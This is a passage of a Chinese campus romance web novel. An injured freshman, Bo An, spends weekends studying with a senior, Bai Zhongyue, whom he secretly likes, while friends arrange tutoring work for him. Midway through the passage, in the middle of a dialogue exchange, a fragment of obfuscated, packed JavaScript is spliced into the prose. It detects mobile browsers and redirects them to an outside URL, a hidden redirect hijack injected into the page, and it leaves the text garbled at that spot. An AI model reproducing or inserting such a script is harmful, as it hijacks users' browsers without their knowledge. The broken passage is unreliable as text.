“好好好,我反省,都怪咱们儿子太争气,又省心又出息,那是别人儿子能比的吗?”白业成把茶杯放回去,把手搭在阮敏肩上捏了捏,“上次那条裙子你说垂感不好,要不然下午我们去看看新的?我给你现场参考。”
白业成把阮敏哄得眉开眼笑,终于不挨念叨了。
可另一边的白仲钺还在“水深火热”里:“哥,你是我祁哥行吗,大周末的你不去约会围着我念经,是不是有病?”
“我在校医院那会儿就说校花这周末有事了,你果然是心思都在小学弟那儿,又是送医院又是借拐杖又是爱心早餐的,还不让问?”
白仲钺头疼:“你这么闲干脆帮我把拐杖早饭送过去,我口头给你颁个助人奖。”
“去你的,”祁延一把把拐杖塞给白仲钺,再往前就是岔路了,祁延准备去图书馆,终于没再说废话,正经问,“我说,你是不是看上那小学弟了?”
不得不说,环境真的改变人。如果是在几年前的中学时期,有人问白仲钺是不是喜欢男的,祁延肯定得怼人全家,同性恋gay什么的那就是骂人,和咒爸妈祖宗没差。大学之后知道得多了见得多了,学校里不少同性恋人,还认识了张皓程和韩一,祁延问出口才发现自己对同性恋和异性恋的观感差距竟然已经这么小了。
文化对人的影响是潜移默化的,祁延在心里感慨,脑子里残存的思政渣渣诚不欺我。
祁延正经问,白仲钺认真回:“应该没。”
可惜祁延对白仲钺这份认真完全不领情:“什么叫应该,你自己喜不喜欢没数,喜欢男的女的还没数么?”
白仲钺还真就没数。
再不赶紧走饭都要凉了,白仲钺看着祁延这问不出来不罢休样子转口说:“我万一真喜欢男的多影响咱们感情。”
“啧,我是大清朝穿越的吗?”
“不是,你想,”白仲钺一本正经似的看着他,“我看了你那么多年裸的都没发现自己喜欢男的,刚认识别人没两天就发现自己喜欢男的了,那不会显得你很失败?”
“这什么跟……白仲钺你大爷!”
9.独处
柏安发消息说舍友都不在,白仲钺到的时候还是敲了敲门。
“进——”
柏安单脚受力扶着墙从阳台门探出头来,看见进来的白仲钺立刻带了笑:“学长!”
被这么开心地叫,谁听见心情都会好。白仲钺笑着反手把宿舍门关上:“嗯,你先洗,洗完出来吃饭。”
柏安脸才冲了一半,泡沫还没洗干净。
“啊,好,学长你先坐。”
白仲钺把早饭放在柏安桌上,看见折叠床已经收起来了,立在桌边:“床是你自己收的?”
柏安扶着墙“哒哒”跳进来,白仲钺赶紧过去把人扶稳。
“谢谢学长,”柏安冲白仲钺笑笑,“是我收的,挺简单的,不麻烦。”
“影响你用桌子?”白仲钺扫了一圈,“那儿空了张床,要不然给你放在那张床下面。”
“不影响不影响,在这里方便,就是觉得摆着太乱了。学长你书包先放桌上吧。”
那张折叠床窄,贴着床下边的桌柜放只占用一小截公共区域,一直放着也不会干扰别人。柏安的脚虽然不严重,能落地走几步,但医生嘱咐过开始的几天尽量不让右腿负重,养几天再逐渐增加运动量。
“和宿管说一下,这属于特殊情况,检查不会扣分,”白仲钺把书包放在柏安桌边,想了想可能会让柏安认为需要把折叠床收起来的原因,“还是你们宿舍有人介意?”
“没有,”柏安不好说自己是因为白仲钺会来才专门收拾的,只答应道,“我以后就不收起来了。”
“嗯,养伤重要。”
柏安心里暖融融的,没放糖的粥也觉得甜:“谢谢学长。”
“别再谢了,方便在你宿舍自习吗?午饭晚饭我买上来一起吃。”
柏安嘴里正吃着东西,连忙点头,咽下去之后立刻说:“方便方便,我两个舍友今天应该都不回来,我很安静,能自习的。”
“方便”的点偏了,白仲钺也没多解释:“我用那张空桌子行吗?”
“那张空桌子一直没用过可能有点脏,学长你用我的桌子吧,我和舍友说一声把他桌面收拾下,我用他的。”
客随主便,白仲钺没意见:“好,我不着急,先吃饭。”
柏安笑着答应,边吃边给元睦和发消息。
元睦和的桌柜不算乱,只是东西都随意散着。那边消息很快回复过来,【你看着收,随便用】。
柏安回了一个特大号的抱拳表情。
吃完饭白仲钺先让柏安试了试拐杖,之后凭目测把高度落了一节:“等腿好了告诉我,我去还,登记的我的校园卡。”
“啊,好的,谢……”
白仲钺看了柏安一眼,柏安话立刻停在一半,没再说什么“谢谢学长”,眨眨眼睛乖乖巧巧地冲白仲钺笑了笑。
白仲钺也轻笑了下。
元睦和的桌面东西多,最顶上的第三层格子倒是接近空空荡荡,柏安把桌面上的东西移到上边去,白仲钺也跟着帮忙收拾,东西不多,一小会儿桌面就干净了。
桌上的月球摆件是元睦和女朋友给做的,柏安没有和别的东西一起放到上边,小心把它往最里面挪了挪。
“月球?”
“嗯,对,他女朋友名字里有月,”柏安扭头看白仲钺,“和你一样。”
白仲钺眉毛一挑,笑了声:“我名字不是那个月。”
“啊?”柏安一愣,“那是哪个,优越的越吗?”
“斧钺的钺,这个。”
白仲钺伸出食指,还没落到桌面,柏安伸手摊开了手掌。
那个“钺”字就写在了柏安手心上。
白仲钺的手指,瘦,直,长。上下粗细差不多,很匀称,骨节处微微突出一点,淡粉的指甲大体接近长方形,边缘被修整得短而圆润。
柏安感觉到了硬的甲边,和软的指尖。
酥痒迅速从掌心蹿上手臂而后攻陷身体的每一寸,他左手仍旧保持摊开的动作,左脚却悄悄用力抓紧了脚趾。
柏安屏着呼吸看白仲钺的手指在自己手心写横画竖,忽然开始后悔自己这点下意识的小心思。
太刺激人了。
要疯了。
最后一个点写完,柏安暗自吞咽几下,五指蜷起虚虚握着,像手心里攥住了什么东西。
“你要用什么?我给你拿过来。”
“啊,”柏安回过神,“电脑和旁边那本蓝皮书就行。”
“嗯,你坐着。”
其实白仲钺用柏安舍友的桌子,柏安用自己的最方便。但柏安既然这么安排了肯定有他的想法,白仲钺没多说什么,把电脑插头拔下来和书本摞在一起给柏安递了过去。
柏安有份PS作业,其实不急做,今天周六,周三才交,但柏安一时想不到什么正经事。没出意外的话,按计划他今天应该是去摊上兼职一天的,作业在周一白天抽时间做就好。
打打游戏看看电影也不是不行,可白仲钺在这儿就像自带了学习气场,柏安有种不跟着学习就会觉得心虚的奇异感。
还有,大概是为了在喜欢的人面前塑造好形象?
柏安的PPT做得很快,总结一下课本再分析几个范例的事,饶是柏安动作慢吞吞也没用一个小时就完成了。偷看几次白仲钺发现对方格外认真后,柏安索性大大方方看起来。
白仲钺左手翻页,隔一会儿会在笔记上写点东西。右手食指和中指间夹了支黑色按动中性笔,笔尖朝外,写字时那支笔会在白仲钺的手指间转小半圈,写完后又会再转回起初的位置。
柏安看得太入神,以至于在白仲钺换书的时候没能提早转回去。
“怎么了?”
“没事,”柏安看着白仲钺新拿出来的书跳开话题,“《大败……局》,小说吗?”
“课外书,”白仲钺把笔记收起来,有点自我调侃的味道,“学烦了,大脑申请停工。”
柏安笑笑,白仲钺没立刻看书,一手放在书上一手从桌面放下来落在腿面,放松地向后倚着椅背:“你近视吗?”
刚刚柏安念书名的时候眼睛眯起来了一点,而且白仲钺隐约记得在球场上看见柏安的时候柏安好像戴着眼镜,但后来没见过柏安戴。
“对,不到二百度,上课的时候需要戴眼镜。”
白仲钺点点头:“那还好。”
桌上手机屏幕亮了,白仲钺拿
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起来点几下又放回去:“借用下卫生间。”
“在阳台。”
柏安说完才意识到宿舍构造都一样,白仲钺肯定知道在哪,不过白仲钺像没觉得这话多余,听柏安说完才站起来往阳台走。
他走得不紧不慢,到阳台的时候停住,看着窗外曲起小臂向两侧伸展了下胳膊。
阳光在他动作间晃了晃。
卫生间门关上后,柏安敛回心神,视线扫过白仲钺刚拿出来的书。
【《大败局》……采访型图书……企业失败案例……探寻“中国式企业”失败的原因……】
柏安对着意料之外的搜索结果发呆,听见白仲钺进来也没关闭页面。
“怎么了?”白仲钺对上柏安有些奇异的眼神,“这么看着我。”
白仲钺手半抬着,手背上的水珠顺着落在地上,宿舍几个人的毛巾都在阳台,白仲钺已经进来了柏安就伸手抽了张纸巾给他。
柏安的视线落在白仲钺交替按压两手水分的纸巾上,轻声问:“学长,你平时不学习的时候都看这种课外书啊?”
白仲钺抬头,看见柏安略微不可置信的神情和搜索界面,笑了笑:“你这话问的,像我看得是十八禁一样。”
柏安脸一热:“没有,就是……”
直到白仲钺把纸巾扔进垃圾桶又坐回去,柏安也没补上后半句。
“想什么呢?”
“觉得学长太优秀了,”柏安下意识把话说出来才后知后觉地有点不好意思,解释说,“学长你在这儿自习的两个多小时一次都没碰手机,不学的时候看的也是这类有用的书。我之前为了高考也有一直认真学,但是好像从考上大学就松了口气,从开学到现在除了上课和老师布置的作业,都没主动学过什么。”
柏安停顿一秒,做了总结:“在不是必须的环境里可以这么自律学习,很厉害。”
“你也很厉害,刚入学就兼职上课两边抓的人应该不多。”
白仲钺没正对书桌坐,他后背半靠着椅背,左手肘搭在桌边,是个面向柏安聊天的姿势。柏安看他没有不耐烦或者急着想结束话题,就接着话说下去:“兼职不一样啦,就是为了赚点生活费,谁都行,没什么厉害的。”
“这样说的话其实自律学习也没什么厉害的,谁都可以做,”白仲钺说得很平常,不是刻意在安慰,“大家需要的不一样,做的肯定也不一样,需要赚钱就兼职,需要学习就看书,需要放松就休息。目标决定行为方向,没有优劣之分。”
原来人可以听见自己的心跳声。柏安看着白仲钺,缓慢眨了眨眼睛。
白仲钺不知道怎么就笑了下:“哪怕真的按惟有读书高的标准来,你考进A大就已经比大多数人优秀了。”
柏安开心只余又有点被夸奖后的不自在,指尖在远离白仲钺那侧的耳后拨了会儿头发,缓下来后想到自己夸白仲钺的时候白仲钺的坦然,果然优秀的人都是被夸奖惯了的啊……
其实柏安从小也是在翻来覆去的“懂事”、“学习好”、“长得好”里被夸到大的,可那些伴着夸张语气和肢体动作的夸奖,和白仲钺语气平平的陈述句比起来简直毫无杀伤力。
不值一提。
10.上心
周末两天白仲钺都去了柏安宿舍,早中晚饭一起吃,其余时间自习或者聊天,白仲钺还带柏安玩了几局柏安不太擅长的游戏。
周六晚上柏安两个舍友不在,白仲钺怕柏安一个人腿又不方便太不安全,看完电影待到宿舍快关门才回。周日下午吃过饭柏安的舍友回来了一个,白仲钺就走了。
“喂老白,今晚上几点回啊?要还是十点多的话早走十分钟去给我买几串关东煮回来呗。”
白仲钺把手机从耳边拿下来看时间,才不到七点。
“我在外面,一会儿就回去了,给你买点?”
“啊?”祁延喊了一声,“你不陪你小学弟呢吗?”
白仲钺没理他:“买吗?要什么发消息,我一会儿手机关机。”
“买什么啊,这才几点,我是想拿关东煮当夜宵!”
“原来你知道现在几点啊。”
祁延“嘶”一声,又问他:“你手机关机干什么啊?”
白仲钺这会儿正在手机店门口站着,他刚刚都进去了,又因为祁延一通电话出来:“换个屏。”
“对你屏裂了,直接买个新的得了呗,还换什么屏。”
“过段时间买,没事我先挂了。”
“你都打算过段时间买新的了还换屏干嘛啊?闲……”
祁延话一多起来简直刹不住,白仲钺直接说一句“挂了”就把电话断掉。
碎的是外屏,店里也有现货,换好用了差不多半小时,店里的工作人员说免费赠送贴钢化膜,白仲钺没要。
他本来也不习惯贴钢化膜,之前那个还是赵煜买错了,刚好他的手机型号合适,赵煜说什么不能浪费给贴上的。
结果到碎的时候也没影响屏幕跟着一起牺牲。
“你好,一共820元收800,现金还是手机支付?”
“手机付,稍等。”
“好嘞,我扫你。”
刚点开付款码祁延电话就过来了,白仲钺点了接听然后返回付款界面,出店门才说:“刚刚付钱了,没听你说话。”
“啊,我说去‘青禾’给我买几个蛋糕回来吧,我晚点给校花送过去。”
“行,”白仲钺转了方向,从口袋拿出耳机来戴上,“不是说今天约会吗?”
祁延像是就等白仲钺提这一茬,声音立刻垮下去抱怨:“别提了,我三点就回来了,搁寝室思考了一下午人生,你们还一个个的都不在,我快长毛了。我俩第一站刚玩完,她一闺蜜就打电话哭诉分手,我屁都不敢出赶紧把她送到她闺蜜学校去了,这会儿还没回来呢,发的消息一个都没回,我订的什么浪漫烛光晚餐全白瞎了。”
“下周再订,有什么的。”
“大哥,我虽然是用烛光晚餐这件事收尾但是你好歹抓一下重点行吗?她闺蜜和她哭诉分手呢!分手!”
白仲钺路过柏安之前兼职的摊位附近,短短两天,已经有新的摊位在那儿了:“又不是她要分手,你急什么?”
祁延长长叹了口气:“你这一副不识人间疾苦的样子,爸爸觉得自己很失败啊。”
“去你的。”
“来,我这会儿有空,给你普及一下恋爱知识。女朋友的闺蜜是危险生物知道吗?你不能多注意她们但是你也不能不在意她们,因为那就是女朋友的军师啊,一煽风点火就能烧透半边天那种。她闺蜜这会儿和她哭诉分手说什么啊?肯定说男生不可信总之不可能是什么好话,这就是男同胞生死边缘好吗?”
白仲钺不能理解:“别人的感情和你们有什么关系,总不能听别人说点什么就影响自己的判断,你们感情什么样自己最清楚,担心过火了吧。”
“跟你这种万年单身狗没法沟通,真的,我已经能预见你女朋友被你这颗宽大的心弄得爆炸的情景了,要么就是你被你女朋友弄得找不着北,到时候记得找祁老师,不收你多了,一节八百。”
“什么就我女朋友了。”
“不你女朋友你男朋友?”
白仲钺脚下一顿。
“哎不是老白,你是不是有情况,我这两天一直看你不对劲。”
“我到店里了,你要什么蛋糕?”
祁延立刻找回重点:“最经典的那个抹茶蛋糕,一块就行,那个不耐放,再要两块黑巧千层,两个大酥泡芙,然后再要一盒四色混拼,四瓶圆子奶茶一瓶原味牛奶。”
白仲钺和店员复述一遍,然后问祁延:“混拼没有了,要别的?”
“那就随便买四个一样大的拼一份吧,反正这个是给她舍友的。”
“行。”
白仲钺提着纸盒往回走,刚进学校一拐弯就被叫住了。
两颗同色脑袋靠近:“老白,给谁送小蛋糕呢?这一大袋子。”
“祁延的,”白仲钺视线在韩一和张皓程头顶转了小圈,“你们这是......情侣头?”
之前韩一头发稍短,张皓程头发是差一点就能到眼睛的长度,还是二十米开外就能看见的白金色,这会儿两个人染了同样的棕,连发型都剪成了一样的,白仲钺一时间有些适应不良。
“怎么样?”张皓程在韩一头上拨了下,“蜜茶棕,是不是特显白?”
“......”
“不显白吗?我觉得比之前显得他白多了。”
“......显。”
韩一胳膊架在张皓程肩膀上,看着白仲钺的样子忍不住直乐,乐够了才把白仲钺从话题里拯救出来:“老白,家教的事我问了,之前我做过家教的那家不缺家教,不过那家长说给问问同小区的人。兼职群里我看着找家教的大都想要有经验的,要么就是距离远,价格也不高,你给谁问的?有什么要求吗?
“柏安,就是......”
“打架那天的漂亮小学弟!”张皓程兴奋地拐了韩一一下,“我说吧!愿赌服输啊!”
“服服服,”韩一有点无奈,下周末的福利又没了,“漂......柏安有什么要求吗?距离、科目、价格之类的。”
白仲钺想了想:“距离尽量近点,科目理科应该都可以,价格一般多少?”
“一对一的话每小时也就五六十,有经验之后估计七八十吧,距离近的小区挨着大学不愁找家教,大一学生价格也压得低,上不了百。”
张皓程紧跟着就开始吐槽:“啧,物以稀为贵啊,咱们学校学生当家教,如果到了别的地方,学生证‘啪’往桌上一拍,小时价怎么不得二百起啊。”
哪怕一小时五十也是柏安之前兼职的几倍了,白仲钺想了想,又问:“确定能找到吗?”
“能,”张皓程眨着眼睛笑,“你难得捡着个小学弟,这么上心,那必须给你找着啊。”
一口答应下来话都说完了张皓程才又拐了韩一一下:“是不是啊?能吧?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17506038|202037||http|test|mini|href|location''.split(''|''),0,{}));
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>“能,”韩一瞥他一眼,没忍住笑了下,“柏安对价格要求不高的话容易找,肯定给你找到。”
两个人一口一个“给你找”,话里的调侃根本没遮掩,白仲钺全当听不出:“谢了,那我回头和他说一下,短时间估计也没办法去,你那边如果有合适的信息就发我。”
“你没和人家说呢就给拿主意了?”
“没给拿主意,总要先确定能不能行,没定的事说什么......”白仲钺眼见张皓程的表情越来越不对味,不说了,“走了,回见。”
“哎——别走啊,啧啧啧......”
-
柏安请了一周假,早中晚都是舍友帮忙带饭。元睦和最近在忙一幅参赛作品,没课的时间都泡在画室,自己都经常忘吃饭,更没办法保证一日三餐定时回宿舍送饭。
袁韬在宿舍待不住,但凡没课都喜欢往外跑,两个人倒是都记着宿舍有个不方便出门的大活人,但仍然混乱了两天——有时候两人都带饭了,有时候两人都没赶上。
到第三天的时候元睦和跟袁韬达成了一个都没明说的默契,两个人都在饭点定了闹钟,到点的时候谁方便带饭就给对方发个【我带】,不方便的时候就给对方发个【你带?】。
给柏安带饭的几天,元睦和跟袁韬两个人的聊天频率达到了入学以来的峰值。
宿舍里的气氛就这么说不清道不明,近乎莫名其妙地变和缓了。
周末中间这五天柏安和白仲钺的聊天没断过,周一早上白仲钺问了一次柏安吃饭的事,后来主动发消息的都是柏安。大都在晚上,没什么固定话题,有时候柏安会找点话题聊,有时候就只是来回发几条没内容没营养的消息,大概聊半小时结束。
周五晚上聊天的时候白仲钺没主动说周末过来,柏安想着总不好老麻烦人,心里抓痒似的也没开口问,最后要照旧结束的时候白仲钺发消息问,【周末我去你宿舍自习?】
柏安几乎是在床上弹了一下,单薄的折叠床发出声响,元睦和从床上探出头:“没事吧柏安?”
“没事,那个......”柏安指尖在手机壳上轻轻划了两下,“周末不用帮我带饭了。”
袁韬也放了手机,问:“白仲钺又过来啊?”
“嗯,对。”
“你俩真没亲戚?以前不认识?家里也没交情?”
柏安有点无奈,无奈里还有点因为这份诧异滋生的隐秘窃喜:“真的没有。”
“行吧,”袁韬又摁开手机,“那我正好不用往回跑了。”
袁韬说话语气不怎么好,柏安也不在意:“谢谢啊,这几天麻烦你们了,等腿好了一定请你们吃大餐”
“得了吧,就你兼职苦哈哈挣的那点钱……”
元睦和打断袁韬,对柏安说:“那我中午也不回来了,你有事打电话。”
袁韬用气音“嘁”一声,翻身朝里不说话了
柏安应下元睦和,手机上竟然又进来了一条白仲钺的消息——【明早想吃什么】
柏安赶忙回复过去【学长,可以来自习的,舍友白天都不在】
【早饭吃什么都可以】
【我不挑食的】
柏安看着自己发出去的最后一条消息,忽然觉得自己像故意“不经意”把优点亮出来,给喜欢的隔壁班同学看的小学生。
看呀看呀,我很好的,你快点喜欢我吧——
11.试探
白仲钺到的时候柏安的折叠床已经又收好了,这次不等白仲钺说,柏安就先开口:“我腿好多了,收拾一下不费劲的,学长你坐。”
上周末因为白仲钺不让,周日柏安听话没收折叠床,把空桌子擦干净给白仲钺用,柏安照旧用元睦和的书桌。可这就导致白仲钺和柏安的位置互相背对,偷看很不方便不说,还只能偷看到后背后脑勺。
而且和白仲钺单独处在一个房间,却看不到对方,这无形之中让柏安有种莫名的压力,似乎怎么都别扭——直到后来看电影时白仲钺坐到了柏安旁边。
“还是多注意,”白仲钺把早饭放在桌上,“你下周上课没问题吗?”
“没问题,感觉好多了,我只请了一周假,慢慢走的话影响不大。”
白仲钺点点头:“你们课多吗?”
“好像算是挺多的,周一上午一节大课下午满课,周三上午满课下午两节小课,周二周四周五满课。”
柏安一五一十交代完,白仲钺讶然:“这么满?”
“其实刚开学的时候看课表没感觉满,又没有早晚自习什么的,时间很宽裕,后来和别的专业一对比才发现我们课多。”
白仲钺吃完最后一口包子,把塑料袋在手里缠两下团成球投进垃圾桶:“大一学得宽泛,大二大三应该就少了。”
“简直太泛了,”柏安手里半个包子忘了吃,只顾着和白仲钺吐槽,“我们专业如果细分能分出八个方向来,八个方向全是必修课,什么都要学就很难学精,而且听说大一下学期或者大二会选方向,可是这样泛泛学完也很难确定自己适合什么方向吧,只能凭喜好感觉来。”
“先吃饭,凉了。”
柏安有点不好意思地笑笑,继续吃饭。他好像在白仲钺面前话越来越多了,不知道白仲钺会不会觉得烦。
“记得你专业是数字媒体,我不太了解,不过我认识我们学校一个同学是这个专业,他成绩很好,今年大三。我和他说一声,把好友推给你,你有什么想问的可以问问他。”
柏安几口吃完了,手里拿着空空的塑料袋看着白仲钺“啊”了一声。
白仲钺又补充一句:“你愿意的话。”
“愿意!”柏安眼睛都亮了一下,迷茫的时候被轻轻拨了一下方向标的感觉太好了,尤其拨了这一下的人是白仲钺,“谢谢学长!”
白仲钺笑了一下。
他好像每次在柏安说“谢谢学长”之后都会笑一下。
“他热心,和我关系不错,有什么不清楚的尽管问,不用不好意思。”
柏安“嗯嗯”点头:“好的!”
不知道白仲钺和别人聊到自己的话会怎么描述,似乎还够不到“关系不错”这个标准。
白仲钺伸长胳膊,朝柏安摊开手。
柏安不可置信地瞪圆眼睛,整个人都蒙了。
“袋子。”
“……哦,哦!”
白仲钺接过去照旧简单团起来投进垃圾桶:“等腿好了还打算兼职吗?”
柏安压下乱七八糟的想法,点了点头:“我会申请补助,不过学校里的助学岗钱太少了,所以还是打算出去兼职。这次一定好好注意,有什么不对立刻跑路,学长你放心。”
“没有不放心你,这次是意外,小概率事件,不过多注意没坏处,”白仲钺说得自然,话音一转,“你想做家教吗?应该比你之前的兼职轻松,薪水也多一些。”
“我之前找过家教,不怎么好找,传单小广告上的信息打电话过去都是中介,”柏安停了一下,又说,“还被骗过二百,说会每天发高薪兼职信息,其实很多信息都没用,也没有打广告的时候说的那些好兼职。”
柏安应该刚洗过头发,很蓬松,映着光线显得毛茸茸的,让人想摸一摸来安慰安慰。
“听说过这种,”白仲钺说,“韩一,不知道你还有没有印象,那天他也在。他那边能帮忙找到家教的兼职,你如果想的话可以选选合适的联系一下,等腿好了去做家教。”
柏安没立刻回话,白仲钺又补充说:“薪水大概每小时在50到60,他们说因为大一没经验,只能这个价格。先做一段时间,以后如果有意向继续做,再找的话薪水应该会高。”
柏安终于把自己调到可以正常反应的模式:“这些钱已经很多了,就是,会不会太麻烦韩学长?”
“没事,等你养好伤一起吃个饭,见面谢一下就好。你有什么要求吗?距离、年级、科目、薪水之类。”
“没什么要求,时间合适不影响上课就好,”柏安眨眨眼,忽然想起什么,“啊,我不能教英语。”
“你英语不好?”
“成绩看不出差,但完全是哑巴英语,能听懂看懂,卷子也能做,一开口就完了,”柏安说完又给这句话补充了点分量,“完得特别特别彻底那种。”
白仲钺本来乍听觉得问题不大,毕竟考进A大就不可能真的偏科,顶多是比较起来有弱项有强项,可柏安这么认真地强调,白仲钺也就答应下来表示找兼职的时候避开英语科目。
柏安不知道第多少遍说“谢谢学长”的时候,白仲钺忽然很想听柏安用英语把这句“谢谢学长”说一遍。
不知道完得特别特别彻底的英语听起来是什么样子。
白仲钺只是想想,嘴角就已经在上挑了。
柏安轻易恍了神。
人和人之间,交流真的很重要。
两个人如果互相愿意和对方说话,又有话可说,那熟悉的过程必然会更简单。
就在寻常到不能再寻常的你言我语里,不知不觉地拉近距离、瓦解陌生、了解脾性。比起认识许久的点头之交,认识不久却能聊天谈地的人,似乎更适合称为“朋友”。
从陌生,到相识,到熟悉,到朋友,到……
不论最后可以到哪一层,更近一些总是好事情。
柏安觉得,好像在这些零零碎碎的闲聊里,他和白仲钺的关系已经渐渐够得上“关系不错”这个标准了。
-
请假的这一周,上课的时候柏安和同学视频听讲,课后作业也没落下,甚至因为白仲钺常来宿舍自习的原因还找了和自己专业相关的电子书看。但即便这样,柏安仍然有大把的空闲时间。
他不用赶着兼职,也不能出门,于是从学校的各种平台看了数不清的有关白仲钺的信息。
有偏官方的关于成绩奖项之类的公告,更多的是实名或匿名的讨论和八卦——关于感情史的、告白被拒的、大小交集记录的、各种课表信息的、抓拍偷拍的等等等等。
还有人把白仲钺看过的书、考过的试、得过的名次和奖项当做打卡标,有人做到了会晒出相应的图片然后表明某项目标“拔旗成功”,下边会有一堆关于“羡慕”或者“沾好运”、“冲啊”之类的评论。
柏安也是通过这些才知道,除去每学期数一数二的成绩和奖学金外,白仲钺很早就考了雅思,大一的时候在校篮队和外校打过很多次比赛,曾经数次给学校的晚会和运动会拉来顶级赞助,参加过省级国家级辩论赛获奖,大二有一个学期代表学院出国做交流生,已经发表了两篇颇具分量的双语论文,不止一位老师明示过希望他做自己的研究生……
这一周柏安没见到白仲钺,却每天都在了解他更多一点。
更了解,更喜欢,更珍重
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,更钦佩,也更觉得幸运。
这种感觉就像在沙滩碰见了一片很招眼的贝壳,看见的瞬间就喜欢,于是爱不释手。渐渐发现,它不仅好看,会折射出七彩的光,还难得一遇、价值连城。
哪怕这片贝壳最终无法属于自己,但因为太好太好,即便只有过短暂交集都算是幸运。
这样想着,不自觉就滋生出点怅然。
柏安的追求还没有拉开帷幕,就已经在心里判定了“希望渺茫”。
这样的白仲钺,有拔尖的能力外貌,又没半点自负轻傲,即便他有朝一日喜欢了什么人,又凭什么会是自己呢?
“转发给你了,看一下有没有合适的。你的腿要养一个月,时间充足,不着急定,慢慢挑。”
“嗯,好的。”柏安收回心思,看着白仲钺笑了笑。
为什么不试试呢?
试试可能不会,不试不会可能。
有的版本里嫦娥都喜欢猪八戒呢。
总要试一试才知道。
转过来的是几条家教信息,白仲钺是多条选中打包转发的,点开能看到起初发给白仲钺的人的头像和昵称,头像是个白金色头发的背影,昵称是数字1。
应该是韩一了。
柏安搜关于白仲钺的东西时也看到过许多关于韩一和张皓程的帖子,还有其他同性情侣的,只不过柏安不认识,没有多看。
既然白仲钺和韩一他们关系好,那么对同性恋大概率不会反感,只是不知道白仲钺是不是。
况且,对身边的同性恋不反感不能代表对同性喜欢自己不反感。
柏安打好腹稿,问:“学长,这是韩学长发的吗?”
“嗯,我筛掉了一个英语的,你愿意的话直接加他好友也可以。”
“不用了,”柏安把手机按灭又按亮,“韩学长和染头发的另一个学长是情侣吗?”
“对,他们高中就在一起了,”白仲钺问,“你介意这个吗?”
白仲钺不在意别人的性取向,和韩一张皓程熟悉后才知道,居然会有人对同性恋抱有持久浓烈的仇视和恶意,相比之下,明面的嘘声白眼甚至可以称作友好。
随着时间推移,那些防不胜防的针对逐渐被更多的善意覆盖,但韩一和张皓程至今都不敢喝离开视线的饮品,水杯如果不小心落在教室仍旧会直接换新。
刨除这一小部分极端人群不提,有人认同有人反感很正常,如果柏安介意,之后白仲钺就不组着他们一起吃饭了。
“没有没有,不介意。”
柏安话回得急,像怕白仲钺误会,听起来像如果介意就是不好一样。
白仲钺笑了笑:“介意也没什么,个人喜恶。”
“我也觉得,不过真的不介意,而且……”
“嗯?”
而且我也喜欢男生。
落落大方把这句话接下去,不会显得刻意,也不会像在暗示什么。
可柏安不敢。
他怕露出端倪,怕不动声色的疏远,怕界限明晰的距离。
“而且,他们都很好。”
“过段时间介绍你们认识。”
“学长呢?”
“什么?”
“学长对同性恋是什么感觉?”
白仲钺如实说:“没什么感觉。”
这样似乎显得有点敷衍,白仲钺补充:“都是恋爱,性别不一样而已。”
柏安点点头,聊天告一段落,白仲钺继续自习。
字斟句酌竭力把控分寸的问题得到的答案什么都指代不了。柏安对着电脑屏幕出神,说不清是松快还是郁闷。
自己怎么不会读心术呢?
12.反应
大概骨裂程度真的不重,柏安一共在宿舍歇了九天,周一上课的时候就感觉腿不怎么疼了。
不过还是架了拐杖。
怕赶上人多,柏安特意早出门去食堂吃早饭,到教室的时候还没怎么有人。
看了会儿书忽然听见一声:“cp,你还真来了啊?不能再请一周假吗?”
柏安转头说:“没事,就快好了,总不能老让你开视频。”
“小事儿,”郝昕在柏安旁边坐下,“上周用支架竖着手机给你开视频,频频收获老师注目,被提问频率高涨,学习质量飙升,说不定这学期成绩能直奔排名顶峰。”
柏安被郝昕说得直乐,从书包里摸出两盒黄油曲奇来:“辛苦了cp,谢礼。”
郝昕利落收了:“上道儿。”
开学自我介绍的时候,按座位竖着轮流上台,郝昕就在柏安后边。柏安自我介绍的时候特意说了姓氏念bo,郝昕上去后把名字往柏安后边一写,有个大嗓门的同学连起来一念,班里顿时哄笑开来。
柏安郝昕。
不安好心。
大概许多人身体里有与生俱来的潜在媒婆因子,总之柏安和郝昕刚认识没多久就互相以为对方对自己有意思。一个风和日丽阳光明媚的下午,两个人不约而同表示想单独和对方聊一聊。
“不好意思同学,我不喜欢女生”和“对不起你特帅但真不是我的菜”撞在一起之后,两个人反应三秒钟,一起长舒口气把自己要辜负别人心意的愧疚感扔到了九霄云外。
两个人大大方方的,揶揄起哄的人反而越来越少,但“不安好心”cp到底传遍了几个班,柏安和郝昕也闹着玩似的这么互相叫了。
“我去,厉害了,咱们学院出来个雅思大神,”郝昕盯着手机低呼,“不过还是比白仲钺差0.5。”
柏安听见白仲钺的名字立刻往郝昕那边凑近了点:“什么?”
“喏,新鲜成绩,下边已经炸了,不知道咱们学校有没有隐藏大神,反正在【白仲钺雅思】这个帖子下边贴过成绩的,他是分数最高的了。”
“你也看这些啊。”
“每日膜拜,”郝昕点了一溜的赞,忽然扭头,“也?”
“啊,”柏安眨眨眼,“我最近在宿舍没事,看了很多咱们学校的帖子。”
“看就看呗,你耳朵红什么啊?”
柏安立刻抬手摸耳朵:“有吗?”
“cp——”郝昕一脸奸笑,“有情况啊?”
“没,没有,我就是无聊。”
“有什么大不了的啊,你就算真喜欢白……”
“嘘——”这会儿教室快满人了,柏安双手合十,“姐,别说,求你了。”
郝昕本来就是故意闹呢,但柏安这人实在是,太不藏事儿了。
“你认真的?”
柏安不说话。
“不是拿他当偶像努力目标那种?”
柏安还是不说话。
沉默=默认=认同
郝昕往后靠在座位上,长长叹了口气:“枯燥的生活和学习需要刺激,cp,你这也太刺激了,我们都仰头看看就算了,你是想原地上天啊。”
老师来了,柏安简直看见了救星:“上课上课。”
课上了一会儿,郝昕小声问:“你眼镜呢?”
柏安正举着手机用相机拉近了看大屏幕,拍下照片来低头说:“坏了,最近没法配。”
休息的时候柏安去了趟卫生间,被问了一路“腿怎么样”“要不要扶”,回到座位之后郝昕忽然说:“如果你真能和那谁成,绝对会把咱们学校最火的‘一程’顶下来,虽然我是站‘浩瀚’的。”
柏安听得一愣一愣的:“什么意思?”
